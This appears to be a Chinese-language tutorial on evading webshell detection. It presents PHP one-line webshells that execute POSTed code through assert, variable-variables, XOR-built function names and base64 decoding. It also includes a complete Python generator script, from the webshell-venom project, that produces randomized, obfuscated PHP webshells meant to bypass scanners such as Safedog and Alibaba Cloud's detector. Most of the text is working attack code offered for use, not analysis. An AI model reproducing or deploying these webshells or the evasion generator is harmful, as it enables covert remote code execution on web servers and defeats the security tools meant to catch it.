目录
案例一: 代码-脚本后门免杀变异-覆盖&传参
传参
正常写一个一句话木马
访问
代码如下
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>
原理
把放在网站目录下,启动安全狗
访问
猜测是旧版本的原因,升级新版本
还可以访问,。。。。。。。。。
阿里云检测webshell: 阿里云恶意文件检测平台
变量覆盖
代码
<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
检测主要检测post
案例二:代码-脚本后门免杀变异-异或&加密
加密
php在线加密平台: www.phpjm.net
用一句话木马加密
加密后的结果
阿里云检测结果,因为是利用算法加密
测试蚁剑能否连接
异或
代码
<?php
$fuhao = "!@#$%^&*()_+=<>?:,.{}[]\|/";
$zimu = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$strlen_fuhao = strlen($fuhao);
$strlen_zimu = strlen($zimu);
for($i=0;$i<$strlen_fuhao;$i++){
for($j=0;$j<$strlen_zimu;$j++){
echo $fuhao[$i]." ^ ".$zimu[$j]."-->".("$fuhao[$i]"^"$zimu[$j]");
echo "<br>";
}
}
?>
执行效果
代码
<?php
$a=('!'^'@').'ssert';$a($_POST[x]);
?>
运行
但是还是检测不过,有post就检测不过
案例三:免杀脚本生成代码
php免杀脚本
import chardet
import base64
import random
import sys
'''
author: yzddmr6
github: https://github.com/yzddmr6/webshell-venom/
pass: mr6
'''
func1 = 'assert'
func2 = 'eval'
shell_form ='''<?php
class {class_name}{{
function __destruct(){{
${var_name1}={func1};
return @${var_name1}("$this->{var_name2}");
}}
}}
${objname}=new {class_name}();
@${objname}->{var_name2}=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>'''
encode_form = '''<?php
class {class_name}{{
function __destruct(){{
$this->{func_name}({func1},array(({func2})."(base64_decode('{base64_code}'));"));
}}
function {func_name}(${var_name1},${var_name2}){{
@array_map(${var_name1},${var_name2});
}}}}
${objname}=new {class_name}();
?>'''
def random_keys(len):
str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def random_name(len):
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.sample(str,len))
def xor(c1,c2):
return hex(ord(c1)^ord(c2)).replace('0x',r"\x")
def gen_payload(func):
func_line1 = ''
func_line2 = ''
key = random_keys(len(func))
for i in range(0,len(func)):
enc = xor(func[i],key[i])
func_line1 += key[i]
func_line2 += enc
payload = '\'{0}\'^"{1}"'.format(func_line1,func_line2)
return payload
def base64_encode(files):
with open(files,'rb') as res:
text=res.read()
text_char=chardet.detect(text)
#print(text_char['encoding'])
text_decode=text.decode(text_char['encoding'])
text_decode=text_decode.replace('<?php','')
text_decode=text_decode.replace('?>','')
bs64=str(base64.b64encode(text_decode.encode(text_char['encoding'])),text_char['encoding'])
#print(bs64)
return bs64
def encode_webshell(files):
class_name = random_name(4)
objname = class_name.lower()
webshell=encode_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1),func2=gen_payload(func2),base64_code=base64_encode(files))
print(webshell)
with open(files+'.bypass.php','w+') as save:
save.write(webshell)
return webshell
def gen_webshell():
class_name = random_name(4)
objname = class_name.lower()
webshell=shell_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1))
print(webshell)
if __name__ == '__main__':
if len(sys.argv)> 1:
files=sys.argv[1]
encode_webshell(files)
else:
gen_webshell()
给一句话木马加密
python代码免杀
运行
but过不了阿里云检测
总结:加密最牛